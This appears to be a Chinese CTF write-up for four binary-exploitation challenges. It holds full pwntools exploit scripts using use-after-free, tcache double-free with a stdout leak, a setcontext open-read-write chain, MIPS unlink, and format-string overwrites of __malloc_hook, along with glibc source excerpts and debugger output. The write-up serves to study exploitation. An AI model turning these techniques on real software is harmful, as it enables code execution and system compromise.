pwn1

存在uaf,另外需要在栈上伪造一个chunk头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
from time import sleep
context.log_level = 'debug'
context.binary = "./mmutag"

p = process("./mmutag")
p = remote("183.129.189.61",53104)
elf = ELF("./mmutag")
libc = ELF("./libc.so.6")


def add(index,content):
p.sendlineafter("choise:\n",'1')
p.sendlineafter("id:\n",str(index))
p.sendafter("content\n",content)

def free(index):
p.sendlineafter("choise:\n",'2')
p.sendlineafter("id:\n",str(index))

def fuck(content):
p.sendlineafter("choise:\n",'3')
sleep(0.5)
p.send(content)

def g():
gdb.attach(p,'bp 0x400AC4')

p.sendlineafter("name: \n",'aaaa')
p.recvuntil("tag: ")
stack = int(p.recv(14),16)
info("stack:" + hex(stack))

p.sendlineafter("choice:\n\n",'2')

add(1,'aaaa')
add(2,'aaaa')
add(3,'sivona')

free(1)
free(2)
free(1)
add(4,p64(stack-0x38))
add(5,'aaaa')
add(6,'aaaa')

fuck('a'*0x19)
p.recvuntil("a"*0x19)
canary = u64(p.recv(7).rjust(8,'\x00'))
info("canary:" + hex(canary))

fuck('a'*8+p64(0)+p64(0x7f))
rdi = 0x0000000000400d23
rsi_r15 = 0x0000000000400d21
leave = 0x400CBA
gad1 = 0x400D1A
gad2 = 0x400D00
buf = flat(
canary,0,
rdi,elf.got['puts'],elf.plt['puts'],
gad1,0,1,elf.got['read'],0x100,stack+0x78,0,gad2,
)
add(7,buf)

p.sendlineafter("choise:\n",'4')
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak - libc.sym['puts']

sleep(1)
p.send(p64(libc_base+0xf0364))
p.interactive()

pwn2

这题死活没做出来,主要是不知道怎么leak(如果当时再仔细一点或者去看一下源码也许就能做出来了,我是个憨憨嘤嘤嘤

leak

先看一下函数调用链

1
2
3
4
5
6
#0  __GI___libc_write (fd=1, buf=0x7ffff7dd3708 <_IO_2_1_stderr_+136>, nbytes=219) at ../sysdeps/unix/sysv/linux/write.c:27
#1 0x00007ffff7a9ab1d in _IO_new_file_write (f=0x7ffff7dd3760 <_IO_2_1_stdout_>, data=0x7ffff7dd3708 <_IO_2_1_stderr_+136>, n=219) at fileops.c:1203
#2 0x00007ffff7a99ec1 in new_do_write (fp=0x7ffff7dd3760 <_IO_2_1_stdout_>, data=0x7ffff7dd3708 <_IO_2_1_stderr_+136> "\260H\335\367\377\177", to_do=to_do@entry=219) at fileops.c:457
#3 0x00007ffff7a9bbb9 in _IO_new_do_write (fp=<optimized out>, data=<optimized out>, to_do=219) at fileops.c:433
#4 0x00007ffff7a9b166 in _IO_new_file_xsputn (f=0x7ffff7dd3760 <_IO_2_1_stdout_>, data=<optimized out>, n=31) at fileops.c:1266
#5 0x00007ffff7a910b3 in _IO_puts (str=0x555555555d28 "======= Server return: =======\n") at ioputs.c:40
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);

if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (_IO_stdout);
return result;
}

这里其实就是调用了vtable中的_IO_new_file_xsputn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;
.
.
.
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;

这里省略了一些代码,最终会调用_IO_OVERFLOW,前面在检查缓冲区还有多少空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
.
.
.
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);

一半情况下flags都为0xfbad2887所以前面的if都可以绕过,最终会调用_IO_do_write

1
2
3
4
5
6
int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

为了能绕过else if 有两种方法

  • fp->_flags & _IO_IS_APPENDING(0x1000) == 1

或者

  • fp->_IO_read_end == fp->_IO_write_base

exp

因为好久没做堆题,exp写的有点烂,看到网上有师傅通过控制tcache_struct来任意地址写,很舒服

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn_debug import*
from time import sleep

pdbg = pwn_debug("./ezhttp")
pdbg.debug("2.27")

pdbg.context.log_level = "debug"
#context.terminal = ['tmux','sp','-h']
pdbg.context.arch = "AMD64"
p = pdbg.run("debug")
libc = ELF("/glibc/x64/2.27/lib/libc-2.27.so")
token = "\x7f"

def add(content):
action = "/create"
header = "POST "
header += action
header += " Cookie: user=admin token: "+token
header +=" \r\n\r\n"
p.sendafter("========\n",header+"content="+content)

def free(index):
action = "/del"
header = "POST "
header += action
header += " Cookie: user=admin token: "+token
header +=" \r\n\r\n"
p.sendlineafter("========\n",header+"index="+str(index))

def edit(index,content):
action = "/edit"
header = "POST "
header += action
header += " Cookie: user=admin token: "+token
header +=" \r\n\r\n"
p.sendafter("========\n",header+"index="+str(index)+"&content="+content+"\n")

def g(a):
gdb.attach(p,a)

add('a'*0xe8)
p.recvuntil("gift: ")
heap = int(p.recv(14),16)
add('b'*0xd8)
add("\x11"*0xf8)#2
add("\x22"*0xf8)#3
add('a'*0xf8)#4
#add('a'*0xf8)
edit(4,(p64(0)+p64(0x21))*15)
#edit(5,(p64(0)+p64(0x21))*15)
free(2)
free(3)
free(2)
info("heap:" + hex(heap))
add('a'*0xf8)#5
edit(5,p64(heap-0x10))
add("\x11"*0xf8)#6
add("\x11"*0xf8)#7
add('a'*0xf8)#8
edit(8,(p64(0)+p64(0x451)))
free(0)

add('a'*0xf8)#9
edit(9,'\x11'*0xe8+p64(0x21))
free(1)
free(9)
add('a'*0xe8)#10
for i in range(8):
free(10)

add('b'*0xf0+'\x70\x37')#11
edit(11,'a'*0xe0+p64(0)+p64(0x21))
add('a'*0x18)#12
add('\x7f'*0x18)#13
edit(13,p64(heap)*3)
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
libc_base = leak - 0x3afca0
libc.address = libc_base

edit(11,p64(libc.sym['__free_hook']))
add('a'*0xe8)#14
add('a'*0xe8)#15
edit(15,'\x00'*0xe8)

setcontext = libc.sym['setcontext'] + 53
path = "./flag\x00"
rdi = libc_base + 0x000000000002154d
rsi = libc_base + 0x000000000002145c
rdx = libc_base + 0x0000000000001b96

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = libc.sym['__free_hook'] - 0x100
frame.rdx = 0x200
frame.rsp = libc.sym["__free_hook"] - 0x100
frame.rip = libc.sym['read']

orw = flat(
rdi,libc.sym['__free_hook'] - 0x88,
rsi,0,
libc.sym['open'],
rdi,4,
rsi,libc.sym['__free_hook'] + 0x200,
rdx,0x30,
libc.sym['read'],
rdi,libc.sym['__free_hook'] + 0x200,
libc.sym['puts'],
)
orw += path
edit(15,p64(setcontext))
edit(4,bytes(frame))
free(4)
sleep(0.5)
p.sendline(orw)

p.interactive()

pwn3

装个ghidra整了两三天,之前一直下载的github上给的release但那个需要自己构建,我还以为是自己java环境的问题,原来是因为我和ghidra官网隔了一堵墙

modify功能会溢出8字节,利用溢出修改下一个chunk的header,构造unlink

大概长这个样子

1
2
3
4
5
6
7
8
9
10
0x412000:	0x00000000	0x00000041	0x00000000	0x00000039
0x412010: 0x00411824 0x00411828 0x61616161 0x61616161
0x412020: 0x61616161 0x61616161 0x61616161 0x61616161
0x412030: 0x61616161 0x61616161 0x61616161 0x61616161
0x412040: 0x00000038 0x00000040 0x00626262 0x00000000
0x412050: 0x00000000 0x00000000 0x00000000 0x00000000
0x412060: 0x00000000 0x00000000 0x00000000 0x00000000
0x412070: 0x00000000 0x00000000 0x00000000 0x00000000
0x412080: 0x00000000 0x00000011 0x6e69622f 0x0000732f
0x412090: 0x00000000 0x00000f71 0x00000000 0x00000000

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*

context.log_level = 'debug'

#p = process(['qemu-mipsel','-g','1234','-L','./','./pwn3'])
p = process(['qemu-mipsel','-L','./','./pwn3'])
elf = ELF("./pwn3")
libc = ELF("lib/libc.so.0")

def add(l,content):
p.sendlineafter(">> \n",'1')
p.sendlineafter("length: \n",str(l))
p.sendafter("info: \n",content)

def free(index):
p.sendlineafter(">> \n",'2')
p.sendlineafter("user: \n",str(index))

def edit(index,content):
p.sendlineafter(">> \n",'3')
p.sendlineafter("edit: \n",str(index))
p.sendafter("info: \n",content)

def show(index):
p.sendlineafter(">> \n",'4')
p.sendlineafter("show: \n",str(index))

node_list = 0x411830

pause()
add(0x3c,'aaaa')
add(0x3c,'bbbb')
add(0xc,'/bin/sh\n')
edit(0,p32(0)+p32(0x39)+p32(node_list-12)+p32(node_list-8)+'a'*0x28 + p32(0x38) + p32(0x40))
free(1)
edit(0,p32(0)*2 + p32(node_list)+p32(0xff)+p32(elf.got['free'])+p32(4))
show(1)
libc_base = u32(p.recvuntil('\x7f')[-4:]) - libc.sym['free']
info("libc_base"+hex(libc_base))
edit(1,p32(libc_base+libc.sym['system']))
free(2)

p.interactive()

pwn5

这题还是学到很多东西的,当时看到的时候毫无思绪,我妄想通过栈上的libc地址改one_gadget,但是怎么从while中出来我都不知道

看了大师傅们的博客总结了一下大概思路:通过栈链修改栈上_IO_2_1_stdout的fileno为2标准错误,然后就可以泄露地址,因为栈上的_IO_2_1_stdout在低地址处,所以需要将printf函数的返回地址改为start进行抬栈,leak出libc后通过栈上的_libc_start_main将malloc_hook改为one_gadget,最后通过printf大量字符调用malloc实现控制程序流

需要注意的是关闭标准输出后printf最多只能打印0x2000左右个字符

exp

因为程序关闭了标准输出所以需要重定位stdout或者sh flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import*
from time import sleep

#context.log_level = 'debug'

def g(a="b printf"):
gdb.attach(p,a)

while True:
p = process("./pwn")
libc = p.libc
p.recvuntil("gift : ")
stack_address = int(p.recvline().strip(b"\n"), 16)
log.success("stack address {}".format(hex(stack_address)))
stack_low = (stack_address)&0xffff
if stack_low > 0x2000:
p.close()
continue
try:
#step1
payload = "%{}c%11$hn".format(str(stack_low-0x54))
p.sendline(payload)
sleep(0.5)

payload = "%{}c%37$hhn".format(str(0x90))
p.sendline(payload)
sleep(0.5)

#step2
payload = "%{}c%11$hn".format(str(stack_low-0xc))
p.sendline(payload)
sleep(0.5)

payload = "%{}c%37$hn".format(str(0x7b0))#1/16
p.sendline(payload)
sleep(0.5)

#step3
payload = "%{}c%26$hhn".format(str(0x2))
p.sendline(payload)
sleep(0.5)

#leak
payload = "%26$p"
p.sendline(payload)
sleep(0.5)

leak = int(p.recvuntil("90")[-14:],16)
libc.address = leak - 0x3c5690
libc_base = libc.address
info("libc_base:"+hex(libc_base))

break
except:
p.close()
continue
malloc_hook = libc.sym['__malloc_hook']

for i in range(0,2):
payload = "%{}c%10$hn".format(str(stack_low-0xdc + i*2))
p.sendline(payload)
sleep(0.5)

payload = "%{}c%36$hn".format(str(malloc_hook>>(16*i) &0xffff))
p.sendline(payload)
sleep(0.5)

one_gadget = libc_base + 0xf1207
g()
for i in range(0,3):
payload = "%{}c%10$hn".format(str(stack_low-0xdc))
p.sendline(payload)
sleep(0.5)
payload = "%{}c%36$hhn".format(str(0x10+i*2))
p.sendline(payload)
sleep(0.5)

payload = "%{}c%9$hn".format(str(one_gadget>>(16*i) &0xffff))
p.sendline(payload)
sleep(0.5)

p.sendline("%77777c")
p.interactive()

这题官方wp出来了,但我建议爬

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x7ffff7a58712 <printf_positional+2482>    ret             <0x7ffff7a5a4b6; vfprintf+822>

0x7ffff7a5a4b6 <vfprintf+822> add rsp, 0x30
0x7ffff7a5a4ba <vfprintf+826> mov r9d, eax
0x7ffff7a5a4bd <vfprintf+829> jmp vfprintf+231 <0x7ffff7a5a267>

0x7ffff7a5a267 <vfprintf+231> test dword ptr [rbx], 0x8000
0x7ffff7a5a26d <vfprintf+237> jne vfprintf+256 <0x7ffff7a5a280>

0x7ffff7a5a280 <vfprintf+256> test r14d, r14d
0x7ffff7a5a283 <vfprintf+259> jne vfprintf+523 <0x7ffff7a5a38b>

0x7ffff7a5a289 <vfprintf+265> mov eax, r9d
0x7ffff7a5a28c <vfprintf+268> lea rsp, [rbp - 0x28]
0x7ffff7a5a290 <vfprintf+272> pop rbx
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffaeb8 —▸ 0x7ffff7a5a4b6 (vfprintf+822) ◂— add rsp, 0x30
01:0008│ 0x7fffffffaec0 ◂— 0x1
02:0010│ 0x7fffffffaec8 —▸ 0x555555755040 (__bss_start+48) ◂— '%11c%6$hn'
03:0018│ 0x7fffffffaed0 —▸ 0x7fffffffb040 ◂— 0x0
04:0020│ 0x7fffffffaed8 ◂— 0x0
... ↓
06:0030│ 0x7fffffffaee8 —▸ 0x7ffff7b99be5 ◂— add byte ptr [rdx], al
07:0038│ 0x7fffffffaef0 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 7ffff7a58712 printf_positional+2482
f 1 7ffff7a5a4b6 vfprintf+822
f 2 7ffff7a5cf01 buffered_vfprintf+145
f 3 7ffff7a5a33d vfprintf+445
f 4 7ffff7a628a9 printf+153
1
2
pwndbg> p /x 0x7ffff7a0d000 + 0x4527a
$1 = 0x7ffff7a5227a